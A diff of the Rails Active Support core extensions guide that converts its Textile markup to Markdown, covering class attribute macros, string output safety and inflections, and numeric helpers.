+cattr_accessor+ are analogous to their +attr_*+ counterparts but for classes. They initialize a class variable to +nil+ unless it already exists, and generate the corresponding class methods to access it: +The macros `cattr_reader`, `cattr_writer`, and `cattr_accessor` are analogous to their `attr_*` counterparts but for classes. They initialize a class variable to `nil` unless it already exists, and generate the corresponding class methods to access it: -<ruby> +```ruby class MysqlAdapter < AbstractAdapter # Generates class methods to access @@emulate_booleans. cattr_accessor :emulate_booleans self.emulate_booleans = true end -</ruby> +``` -Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with +class_attribute+ (see above). For example given +Instance methods are created as well for convenience, they are just proxies to the class attribute. So, instances can change the class attribute, but cannot override it as it happens with `class_attribute` (see above). For example given -<ruby> +```ruby module ActionView class Base cattr_accessor :field_error_proc @@field_error_proc = Proc.new{ ... } end end -</ruby> +``` -we can access +field_error_proc+ in views. +we can access `field_error_proc` in views. -The generation of the reader instance method can be prevented by setting +:instance_reader+ to +false+ and the generation of the writer instance method can be prevented by setting +:instance_writer+ to +false+. Generation of both methods can be prevented by setting +:instance_accessor+ to +false+. In all cases, the value must be exactly +false+ and not any false value. +The generation of the reader instance method can be prevented by setting `:instance_reader` to `false` and the generation of the writer instance method can be prevented by setting `:instance_writer` to `false`. Generation of both methods can be prevented by setting `:instance_accessor` to `false`. In all cases, the value must be exactly `false` and not any false value. -<ruby> +```ruby module A class B # No first_name instance reader is generated. @@ -1085,19 +1090,19 @@ module A cattr_accessor :surname, :instance_accessor => false end end -</ruby> +``` -A model may find it useful to set +:instance_accessor+ to +false+ as a way to prevent mass-assignment from setting the attribute. +A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute. -NOTE: Defined in +active_support/core_ext/class/attribute_accessors.rb+. +NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`. -h4. Subclasses & Descendants +### Subclasses & Descendants -h5. +subclasses+ +#### `subclasses` -The +subclasses+ method returns the subclasses of the receiver: +The `subclasses` method returns the subclasses of the receiver: -<ruby> +```ruby class C; end C.subclasses # => [] @@ -1109,19 +1114,19 @@ C.subclasses # => [B] class D < C; end C.subclasses # => [B, D] -</ruby> +``` The order in which these classes are returned is unspecified. WARNING: This method is redefined in some Rails core classes but should be all compatible in Rails 3.1. -NOTE: Defined in +active_support/core_ext/class/subclasses.rb+. +NOTE: Defined in `active_support/core_ext/class/subclasses.rb`. -h5. +descendants+ +#### `descendants` -The +descendants+ method returns all classes that are <tt><</tt> than its receiver: +The `descendants` method returns all classes that are `<` than its receiver: -<ruby> +```ruby class C; end C.descendants # => [] @@ -1133,180 +1138,181 @@ C.descendants # => [B, A] class D < C; end C.descendants # => [B, A, D] -</ruby> +``` The order in which these classes are returned is unspecified. -NOTE: Defined in +active_support/core_ext/class/subclasses.rb+. +NOTE: Defined in `active_support/core_ext/class/subclasses.rb`. -h3. Extensions to +String+ +Extensions to `String` +---------------------- -h4. Output Safety +### Output Safety -h5. Motivation +#### Motivation -Inserting data into HTML templates needs extra care. For example, you can't just interpolate +@review.title+ verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the "section about cross-site scripting in the Security guide":security.html#cross-site-scripting-xss for further information about the risks. +Inserting data into HTML templates needs extra care. For example, you can't just interpolate `@review.title` verbatim into an HTML page. For one thing, if the review title is "Flanagan & Matz rules!" the output won't be well-formed because an ampersand has to be escaped as "&amp;". What's more, depending on the application, that may be a big security hole because users can inject malicious HTML setting a hand-crafted review title. Check out the section about cross-site scripting in the [Security guide](security.html#cross-site-scripting-xss) for further information about the risks. -h5. Safe Strings +#### Safe Strings Active Support has the concept of <i>(html) safe</i> strings since Rails 3. A safe string is one that is marked as being insertable into HTML as is. It is trusted, no matter whether it has been escaped or not. Strings are considered to be <i>unsafe</i> by default: -<ruby> +```ruby "".html_safe? # => false -</ruby> +``` -You can obtain a safe string from a given one with the +html_safe+ method: +You can obtain a safe string from a given one with the `html_safe` method: -<ruby> +```ruby s = "".html_safe s.html_safe? # => true -</ruby> +``` -It is important to understand that +html_safe+ performs no escaping whatsoever, it is just an assertion: +It is important to understand that `html_safe` performs no escaping whatsoever, it is just an assertion: -<ruby> +```ruby s = "<script>...</script>".html_safe s.html_safe? # => true s # => "<script>...</script>" -</ruby> +``` -It is your responsibility to ensure calling +html_safe+ on a particular string is fine. +It is your responsibility to ensure calling `html_safe` on a particular string is fine. -If you append onto a safe string, either in-place with +concat+/<tt><<</tt>, or with <tt>+</tt>, the result is a safe string. Unsafe arguments are escaped: +If you append onto a safe string, either in-place with `concat`/`<<`, or with `+`, the result is a safe string. Unsafe arguments are escaped: -<ruby> +```ruby "".html_safe + "<" # => "<" -</ruby> +``` Safe arguments are directly appended: -<ruby> +```ruby "".html_safe + "<".html_safe # => "<" -</ruby> +``` These methods should not be used in ordinary views. In Rails 3 unsafe values are automatically escaped: -<erb> +```erb <%= @review.title %> <%# fine in Rails 3, escaped if needed %> -</erb> +``` -To insert something verbatim use the +raw+ helper rather than calling +html_safe+: +To insert something verbatim use the `raw` helper rather than calling `html_safe`: -<erb> +```erb <%= raw @cms.current_template %> <%# inserts @cms.current_template as is %> -</erb> +``` -or, equivalently, use <tt><%==</tt>: +or, equivalently, use `<%==`: -<erb> +```erb <%== @cms.current_template %> <%# inserts @cms.current_template as is %> -</erb> +``` -The +raw+ helper calls +html_safe+ for you: +The `raw` helper calls `html_safe` for you: -<ruby> +```ruby def raw(stringish) stringish.to_s.html_safe end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/output_safety.rb+. +NOTE: Defined in `active_support/core_ext/string/output_safety.rb`. -h5. Transformation +#### Transformation -As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are +downcase+, +gsub+, +strip+, +chomp+, +underscore+, etc. +As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are `downcase`, `gsub`, `strip`, `chomp`, `underscore`, etc. -In the case of in-place transformations like +gsub!+ the receiver itself becomes unsafe. +In the case of in-place transformations like `gsub!` the receiver itself becomes unsafe. INFO: The safety bit is lost always, no matter whether the transformation actually changed something. -h5. Conversion and Coercion +#### Conversion and Coercion -Calling +to_s+ on a safe string returns a safe string, but coercion with +to_str+ returns an unsafe string. +Calling `to_s` on a safe string returns a safe string, but coercion with `to_str` returns an unsafe string. -h5. Copying +#### Copying -Calling +dup+ or +clone+ on safe strings yields safe strings. +Calling `dup` or `clone` on safe strings yields safe strings. -h4. +squish+ +### `squish` -The method +squish+ strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: +The method `squish` strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each: -<ruby> +```ruby " \n foo\n\r \t bar \n".squish # => "foo bar" -</ruby> +``` -There's also the destructive version +String#squish!+. +There's also the destructive version `String#squish!`. -NOTE: Defined in +active_support/core_ext/string/filters.rb+. +NOTE: Defined in `active_support/core_ext/string/filters.rb`. -h4. +truncate+ +### `truncate` -The method +truncate+ returns a copy of its receiver truncated after a given +length+: +The method `truncate` returns a copy of its receiver truncated after a given `length`: -<ruby> +```ruby "Oh dear! Oh dear! I shall be late!".truncate(20) # => "Oh dear! Oh dear!..." -</ruby> +``` -Ellipsis can be customized with the +:omission+ option: +Ellipsis can be customized with the `:omission` option: -<ruby> +```ruby "Oh dear! Oh dear! I shall be late!".truncate(20, :omission => '…') # => "Oh dear! Oh …" -</ruby> +``` Note in particular that truncation takes into account the length of the omission string. -Pass a +:separator+ to truncate the string at a natural break: +Pass a `:separator` to truncate the string at a natural break: -<ruby> +```ruby "Oh dear! Oh dear! I shall be late!".truncate(18) # => "Oh dear! Oh dea..." "Oh dear! Oh dear! I shall be late!".truncate(18, :separator => ' ') # => "Oh dear! Oh..." -</ruby> +``` -The option +:separator+ can be a regexp: +The option `:separator` can be a regexp: -<ruby> +```ruby "Oh dear! Oh dear! I shall be late!".truncate(18, :separator => /\s/) # => "Oh dear! Oh..." -</ruby> +``` -In above examples "dear" gets cut first, but then +:separator+ prevents it. +In above examples "dear" gets cut first, but then `:separator` prevents it. -NOTE: Defined in +active_support/core_ext/string/filters.rb+. +NOTE: Defined in `active_support/core_ext/string/filters.rb`. -h4. +inquiry+ +### `inquiry` -The <tt>inquiry</tt> method converts a string into a +StringInquirer+ object making equality checks prettier. +The `inquiry` method converts a string into a `StringInquirer` object making equality checks prettier. -<ruby> +```ruby "production".inquiry.production? # => true "active".inquiry.inactive? # => false -</ruby> +``` -h4. +starts_with?+ and +ends_with?+ +### `starts_with?` and `ends_with?` -Active Support defines 3rd person aliases of +String#start_with?+ and +String#end_with?+: +Active Support defines 3rd person aliases of `String#start_with?` and `String#end_with?`: -<ruby> +```ruby "foo".starts_with?("f") # => true "foo".ends_with?("o") # => true -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/starts_ends_with.rb+. +NOTE: Defined in `active_support/core_ext/string/starts_ends_with.rb`. -h4. +strip_heredoc+ +### `strip_heredoc` -The method +strip_heredoc+ strips indentation in heredocs. +The method `strip_heredoc` strips indentation in heredocs. For example in -<ruby> +```ruby if options[:usage] puts <<-USAGE.strip_heredoc This command does such and such. @@ -1316,20 +1322,20 @@ if options[:usage] ... USAGE end -</ruby> +``` the user would see the usage message aligned against the left margin. Technically, it looks for the least indented line in the whole string, and removes that amount of leading whitespace. -NOTE: Defined in +active_support/core_ext/string/strip.rb+. +NOTE: Defined in `active_support/core_ext/string/strip.rb`. -h4. +indent+ +### `indent` Indents the lines in the receiver: -<ruby> +```ruby <<EOS.indent(2) def some_method some_code @@ -1339,212 +1345,212 @@ EOS def some_method some_code end -</ruby> +``` -The second argument, +indent_string+, specifies which indent string to use. The default is +nil+, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none. +The second argument, `indent_string`, specifies which indent string to use. The default is `nil`, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none. -<ruby> +```ruby " foo".indent(2) # => " foo" "foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar" "foo".indent(2, "\t") # => "\t\tfoo" -</ruby> +``` -While +indent_string+ is tipically one space or tab, it may be any string. +While `indent_string` is tipically one space or tab, it may be any string. -The third argument, +indent_empty_lines+, is a flag that says whether empty lines should be indented. Default is false. +The third argument, `indent_empty_lines`, is a flag that says whether empty lines should be indented. Default is false. -<ruby> +```ruby "foo\n\nbar".indent(2) # => " foo\n\n bar" "foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar" -</ruby> +``` -The +indent!+ method performs indentation in-place. +The `indent!` method performs indentation in-place. -h4. Access +### Access -h5. +at(position)+ +#### `at(position)` -Returns the character of the string at position +position+: +Returns the character of the string at position `position`: -<ruby> +```ruby "hello".at(0) # => "h" "hello".at(4) # => "o" "hello".at(-1) # => "o" "hello".at(10) # => nil -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/access.rb+. +NOTE: Defined in `active_support/core_ext/string/access.rb`. -h5. +from(position)+ +#### `from(position)` -Returns the substring of the string starting at position +position+: +Returns the substring of the string starting at position `position`: -<ruby> +```ruby "hello".from(0) # => "hello" "hello".from(2) # => "llo" "hello".from(-2) # => "lo" "hello".from(10) # => "" if < 1.9, nil in 1.9 -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/access.rb+. +NOTE: Defined in `active_support/core_ext/string/access.rb`. -h5. +to(position)+ +#### `to(position)` -Returns the substring of the string up to position +position+: +Returns the substring of the string up to position `position`: -<ruby> +```ruby "hello".to(0) # => "h" "hello".to(2) # => "hel" "hello".to(-2) # => "hell" "hello".to(10) # => "hello" -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/access.rb+. +NOTE: Defined in `active_support/core_ext/string/access.rb`. -h5. +first(limit = 1)+ +#### `first(limit = 1)` -The call +str.first(n)+ is equivalent to +str.to(n-1)+ if +n+ > 0, and returns an empty string for +n+ == 0. +The call `str.first(n)` is equivalent to `str.to(n-1)` if `n` > 0, and returns an empty string for `n` == 0. -NOTE: Defined in +active_support/core_ext/string/access.rb+. +NOTE: Defined in `active_support/core_ext/string/access.rb`. -h5. +last(limit = 1)+ +#### `last(limit = 1)` -The call +str.last(n)+ is equivalent to +str.from(-n)+ if +n+ > 0, and returns an empty string for +n+ == 0. +The call `str.last(n)` is equivalent to `str.from(-n)` if `n` > 0, and returns an empty string for `n` == 0. -NOTE: Defined in +active_support/core_ext/string/access.rb+. +NOTE: Defined in `active_support/core_ext/string/access.rb`. -h4. Inflections +### Inflections -h5. +pluralize+ +#### `pluralize` -The method +pluralize+ returns the plural of its receiver: +The method `pluralize` returns the plural of its receiver: -<ruby> +```ruby "table".pluralize # => "tables" "ruby".pluralize # => "rubies" "equipment".pluralize # => "equipment" -</ruby> +``` -As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in +config/initializers/inflections.rb+. That file is generated by the +rails+ command and has instructions in comments. +As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in `config/initializers/inflections.rb`. That file is generated by the `rails` command and has instructions in comments. -+pluralize+ can also take an optional +count+ parameter. If <tt>count == 1</tt> the singular form will be returned. For any other value of +count+ the plural form will be returned: +`pluralize` can also take an optional `count` parameter. If `count == 1` the singular form will be returned. For any other value of `count` the plural form will be returned: -<ruby> +```ruby "dude".pluralize(0) # => "dudes" "dude".pluralize(1) # => "dude" "dude".pluralize(2) # => "dudes" -</ruby> +``` Active Record uses this method to compute the default table name that corresponds to a model: -<ruby> +```ruby # active_record/base.rb def undecorated_table_name(class_name = base_class.name) table_name = class_name.to_s.demodulize.underscore table_name = table_name.pluralize if pluralize_table_names table_name end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +singularize+ +#### `singularize` -The inverse of +pluralize+: +The inverse of `pluralize`: -<ruby> +```ruby "tables".singularize # => "table" "rubies".singularize # => "ruby" "equipment".singularize # => "equipment" -</ruby> +``` Associations compute the name of the corresponding default associated class using this method: -<ruby> +```ruby # active_record/reflection.rb def derive_class_name class_name = name.to_s.camelize class_name = class_name.singularize if collection? class_name end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +camelize+ +#### `camelize` -The method +camelize+ returns its receiver in camel case: +The method `camelize` returns its receiver in camel case: -<ruby> +```ruby "product".camelize # => "Product" "admin_user".camelize # => "AdminUser" -</ruby> +``` As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces: -<ruby> +```ruby "backoffice/session".camelize # => "Backoffice::Session" -</ruby> +``` For example, Action Pack uses this method to load the class that provides a certain session store: -<ruby> +```ruby # action_controller/metal/session_management.rb def session_store=(store) @@session_store = store.is_a?(Symbol) ? ActionDispatch::Session.const_get(store.to_s.camelize) : store end -</ruby> +``` -+camelize+ accepts an optional argument, it can be +:upper+ (default), or +:lower+. With the latter the first letter becomes lowercase: +`camelize` accepts an optional argument, it can be `:upper` (default), or `:lower`. With the latter the first letter becomes lowercase: -<ruby> +```ruby "visual_effect".camelize(:lower) # => "visualEffect" -</ruby> +``` That may be handy to compute method names in a language that follows that convention, for example JavaScript. -INFO: As a rule of thumb you can think of +camelize+ as the inverse of +underscore+, though there are cases where that does not hold: <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. To support cases such as this, Active Support allows you to specify acronyms in +config/initializers/inflections.rb+: +INFO: As a rule of thumb you can think of `camelize` as the inverse of `underscore`, though there are cases where that does not hold: `"SSLError".underscore.camelize` gives back `"SslError"`. To support cases such as this, Active Support allows you to specify acronyms in `config/initializers/inflections.rb`: -<ruby> +```ruby ActiveSupport::Inflector.inflections do |inflect| inflect.acronym 'SSL' end "SSLError".underscore.camelize #=> "SSLError" -</ruby> +``` -+camelize+ is aliased to +camelcase+. +`camelize` is aliased to `camelcase`. -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +underscore+ +#### `underscore` -The method +underscore+ goes the other way around, from camel case to paths: +The method `underscore` goes the other way around, from camel case to paths: -<ruby> +```ruby "Product".underscore # => "product" "AdminUser".underscore # => "admin_user" -</ruby> +``` Also converts "::" back to "/": -<ruby> +```ruby "Backoffice::Session".underscore # => "backoffice/session" -</ruby> +``` and understands strings that start with lowercase: -<ruby> +```ruby "visualEffect".underscore # => "visual_effect" -</ruby> +``` -+underscore+ accepts no argument though. +`underscore` accepts no argument though. -Rails class and module autoloading uses +underscore+ to infer the relative path without extension of a file that would define a given missing constant: +Rails class and module autoloading uses `underscore` to infer the relative path without extension of a file that would define a given missing constant: -<ruby> +```ruby # active_support/dependencies.rb def load_missing_constant(from_mod, const_name) ... @@ -1552,59 +1558,59 @@ def load_missing_constant(from_mod, const_name) path_suffix = qualified_name.underscore ... end -</ruby> +``` -INFO: As a rule of thumb you can think of +underscore+ as the inverse of +camelize+, though there are cases where that does not hold. For example, <tt>"SSLError".underscore.camelize</tt> gives back <tt>"SslError"</tt>. +INFO: As a rule of thumb you can think of `underscore` as the inverse of `camelize`, though there are cases where that does not hold. For example, `"SSLError".underscore.camelize` gives back `"SslError"`. -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +titleize+ +#### `titleize` -The method +titleize+ capitalizes the words in the receiver: +The method `titleize` capitalizes the words in the receiver: -<ruby> +```ruby "alice in wonderland".titleize # => "Alice In Wonderland" "fermat's enigma".titleize # => "Fermat's Enigma" -</ruby> +``` -+titleize+ is aliased to +titlecase+. +`titleize` is aliased to `titlecase`. -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +dasherize+ +#### `dasherize` -The method +dasherize+ replaces the underscores in the receiver with dashes: +The method `dasherize` replaces the underscores in the receiver with dashes: -<ruby> +```ruby "name".dasherize # => "name" "contact_data".dasherize # => "contact-data" -</ruby> +``` The XML serializer of models uses this method to dasherize node names: -<ruby> +```ruby # active_model/serializers/xml.rb def reformat_name(name) name = name.camelize if camelize? dasherize? ? name.dasherize : name end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +demodulize+ +#### `demodulize` -Given a string with a qualified constant name, +demodulize+ returns the very constant name, that is, the rightmost part of it: +Given a string with a qualified constant name, `demodulize` returns the very constant name, that is, the rightmost part of it: -<ruby> +```ruby "Product".demodulize # => "Product" "Backoffice::UsersController".demodulize # => "UsersController" "Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils" -</ruby> +``` Active Record for example uses this method to compute the name of a counter cache column: -<ruby> +```ruby # active_record/reflection.rb def counter_cache_column if options[:counter_cache] == true @@ -1613,23 +1619,23 @@ def counter_cache_column options[:counter_cache] end end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +deconstantize+ +#### `deconstantize` -Given a string with a qualified constant reference expression, +deconstantize+ removes the rightmost segment, generally leaving the name of the constant's container: +Given a string with a qualified constant reference expression, `deconstantize` removes the rightmost segment, generally leaving the name of the constant's container: -<ruby> +```ruby "Product".deconstantize # => "" "Backoffice::UsersController".deconstantize # => "Backoffice" "Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel" -</ruby> +``` -Active Support for example uses this method in +Module#qualified_const_set+: +Active Support for example uses this method in `Module#qualified_const_set`: -<ruby> +```ruby def qualified_const_set(path, value) QualifiedConstUtils.raise_if_absolute(path) @@ -1638,75 +1644,75 @@ def qualified_const_set(path, value) mod = mod_name.empty? ? self : qualified_const_get(mod_name) mod.const_set(const_name, value) end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +parameterize+ +#### `parameterize` -The method +parameterize+ normalizes its receiver in a way that can be used in pretty URLs. +The method `parameterize` normalizes its receiver in a way that can be used in pretty URLs. -<ruby> +```ruby "John Smith".parameterize # => "john-smith" "Kurt Gödel".parameterize # => "kurt-godel" -</ruby> +``` -In fact, the result string is wrapped in an instance of +ActiveSupport::Multibyte::Chars+. +In fact, the result string is wrapped in an instance of `ActiveSupport::Multibyte::Chars`. -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +tableize+ +#### `tableize` -The method +tableize+ is +underscore+ followed by +pluralize+. +The method `tableize` is `underscore` followed by `pluralize`. -<ruby> +```ruby "Person".tableize # => "people" "Invoice".tableize # => "invoices" "InvoiceLine".tableize # => "invoice_lines" -</ruby> +``` -As a rule of thumb, +tableize+ returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight +tableize+ indeed, because it also demodulizes the class name and checks a few options that may affect the returned string. +As a rule of thumb, `tableize` returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight `tableize` indeed, because it also demodulizes the class name and checks a few options that may affect the returned string. -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +classify+ +#### `classify` -The method +classify+ is the inverse of +tableize+. It gives you the class name corresponding to a table name: +The method `classify` is the inverse of `tableize`. It gives you the class name corresponding to a table name: -<ruby> +```ruby "people".classify # => "Person" "invoices".classify # => "Invoice" "invoice_lines".classify # => "InvoiceLine" -</ruby> +``` The method understands qualified table names: -<ruby> +```ruby "highrise_production.companies".classify # => "Company" -</ruby> +``` -Note that +classify+ returns a class name as a string. You can get the actual class object invoking +constantize+ on it, explained next. +Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next. -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +constantize+ +#### `constantize` -The method +constantize+ resolves the constant reference expression in its receiver: +The method `constantize` resolves the constant reference expression in its receiver: -<ruby> +```ruby "Fixnum".constantize # => Fixnum module M X = 1 end "M::X".constantize # => 1 -</ruby> +``` -If the string evaluates to no known constant, or its content is not even a valid constant name, +constantize+ raises +NameError+. +If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`. -Constant name resolution by +constantize+ starts always at the top-level +Object+ even if there is no leading "::". +Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::". -<ruby> +```ruby X = :in_Object module M X = :in_M @@ -1715,36 +1721,36 @@ module M "::X".constantize # => :in_Object "X".constantize # => :in_Object (!) end -</ruby> +``` So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated. -Mailer test cases obtain the mailer being tested from the name of the test class using +constantize+: +Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`: -<ruby> +```ruby # action_mailer/test_case.rb def determine_default_mailer(name) name.sub(/Test$/, '').constantize rescue NameError => e raise NonInferrableMailerError.new(name) end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +humanize+ +#### `humanize` -The method +humanize+ gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word: +The method `humanize` gives you a sensible name for display out of an attribute name. To do so it replaces underscores with spaces, removes any "_id" suffix, and capitalizes the first word: -<ruby> +```ruby "name".humanize # => "Name" "author_id".humanize # => "Author" "comments_count".humanize # => "Comments count" -</ruby> +``` -The helper method +full_messages+ uses +humanize+ as a fallback to include attribute names: +The helper method `full_messages` uses `humanize` as a fallback to include attribute names: -<ruby> +```ruby def full_messages full_messages = [] @@ -1757,69 +1763,70 @@ def full_messages full_messages end -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h5. +foreign_key+ +#### `foreign_key` -The method +foreign_key+ gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id": +The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id": -<ruby> +```ruby "User".foreign_key # => "user_id" "InvoiceLine".foreign_key # => "invoice_line_id" "Admin::Session".foreign_key # => "session_id" -</ruby> +``` Pass a false argument if you do not want the underscore in "_id": -<ruby> +```ruby "User".foreign_key(false) # => "userid" -</ruby> +``` -Associations use this method to infer foreign keys, for example +has_one+ and +has_many+ do this: +Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this: -<ruby> +```ruby # active_record/associations.rb foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key -</ruby> +``` -NOTE: Defined in +active_support/core_ext/string/inflections.rb+. +NOTE: Defined in `active_support/core_ext/string/inflections.rb`. -h4(#string-conversions). Conversions +### Conversions -h5. +to_date+, +to_time+, +to_datetime+ +#### `to_date`, `to_time`, `to_datetime` -The methods +to_date+, +to_time+, and +to_datetime+ are basically convenience wrappers around +Date._parse+: +The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`: -<ruby> +```ruby "2010-07-27".to_date # => Tue, 27 Jul 2010 "2010-07-27 23:37:00".to_time # => Tue Jul 27 23:37:00 UTC 2010 "2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000 -</ruby> +``` -+to_time+ receives an optional argument +:utc+ or +:local+, to indicate which time zone you want the time in: +`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in: -<ruby> +```ruby "2010-07-27 23:42:00".to_time(:utc) # => Tue Jul 27 23:42:00 UTC 2010 "2010-07-27 23:42:00".to_time(:local) # => Tue Jul 27 23:42:00 +0200 2010 -</ruby> +``` -Default is +:utc+. +Default is `:utc`. -Please refer to the documentation of +Date._parse+ for further details. +Please refer to the documentation of `Date._parse` for further details. -INFO: The three of them return +nil+ for blank receivers. +INFO: The three of them return `nil` for blank receivers. -NOTE: Defined in +active_support/core_ext/string/conversions.rb+. +NOTE: Defined in `active_support/core_ext/string/conversions.rb`. -h3. Extensions to +Numeric+ +Extensions to `Numeric` +----------------------- -h4. Bytes +### Bytes All numbers respond to these methods: -<ruby> +```ruby bytes kilobytes megabytes @@ -1827,33 +1834,33 @@ gigabytes terabytes petabytes exabytes -</ruby> +``` They return the corresponding amount of bytes, using a conversion factor of 1024: -<ruby> +```ruby 2.kilobytes # => 2048 3.megabytes # => 3145728 3.5.gigabytes # => 3758096384 -4.exabytes # => -4611686018427387904 -</ruby> +``` Singular forms are aliased so you are able to say: -<ruby> +```ruby 1.megabyte # => 1048576 -</ruby> +``` -NOTE: Defined in +active_support/core_ext/numeric/bytes.rb+. +NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`. -h4. Time +### Time -Enables the use of time calculations and declarations, like @45.minutes <plus> 2.hours <plus> 4.years@. +Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`. These methods use Time#advance for precise date calculations when using from_now, ago, etc. as well as adding or subtracting their results from a Time object. For example: -<ruby> +```ruby # equivalent to Time.current.advance(:months => 1) 1.month.from_now @@ -1862,34 +1869,33 @@ as well as adding or subtracting their results from a Time object. For example: # equivalent to Time.current.advance(:months => 4, :years => 5) (4.months + 5.years).from_now -</ruby> +``` While these methods provide precise calculation when used as in the examples above, care should be taken to note that this is not true if the result of `months', `years', etc is converted before use: -<ruby> +```ruby # equivalent to 30.days.to_i.from_now 1.month.to_i.from_now # equivalent to 365.25.days.to_f.from_now 1.year.to_f.from_now -</ruby> +``` -In such cases, Ruby's core -Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and -Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision +In such cases, Ruby's core [Date](http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html) and +[Time](http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html) should be used for precision date and time arithmetic. -NOTE: Defined in +active_support/core_ext/numeric/time.rb+. +NOTE: Defined in `active_support/core_ext/numeric/time.rb`. -h4. Formatting +### Formatting Enables the formatting of numbers in a variety of ways. Produce a string representation of a number as a telephone number: -<ruby> +```ruby 5551234.to_s(:phone) # => 555-1234 1235551234.to_s(:phone) @@ -1902,19 +1908,19 @@ Produce a string representation of a number as a telephone number: # => (123) 555-1234 x 555 1235551234.to_s(:phone, :country_code => 1) # => +1-123-555-1234 -</ruby> +``` Produce a string representation of a number as currency: -<ruby> +```ruby 1234567890.50.to_s(:currency) # => $1,234,567,890.50 1234567890.506.to_s(:currency) # => $1,234,567,890.51 1234567890.506.to_s(:currency, :precision => 3) # => $1,234,567,890.506 -</ruby> +``` Produce a string representation of a number as a percentage: -<ruby> +```ruby 100.to_s(:percentage) # => 100.000% 100.to_s(:percentage, :precision => 0) @@ -1923,42 +1929,42 @@ Produce a string representation of a number as a percentage: # => 1.000,000% 302.24398923423.to_s(:percentage, :precision => 5) # => 302.24399% -</ruby> +``` Produce a string representation of a number in delimited form: -<ruby> +```ruby 12345678.to_s(:delimited) # => 12,345,678 12345678.05.to_s(:delimited) # => 12,345,678.05 12345678.to_s(:delimited, :delimiter => ".") # => 12.345.678 12345678.to_s(:delimited, :delimiter => ",") # => 12,345,678 12345678.05.to_s(:delimited, :separator => " ") # => 12,345,678 05 -</ruby> +``` Produce a string representation of a number rounded to a precision: -<ruby> +```ruby 111.2345.to_s(:rounded) # => 111.235 111.2345.to_s(:rounded, :precision => 2) # => 111.23 13.to_s(:rounded, :precision => 5) # => 13.00000 389.32314.to_s(:rounded, :precision => 0) # => 389 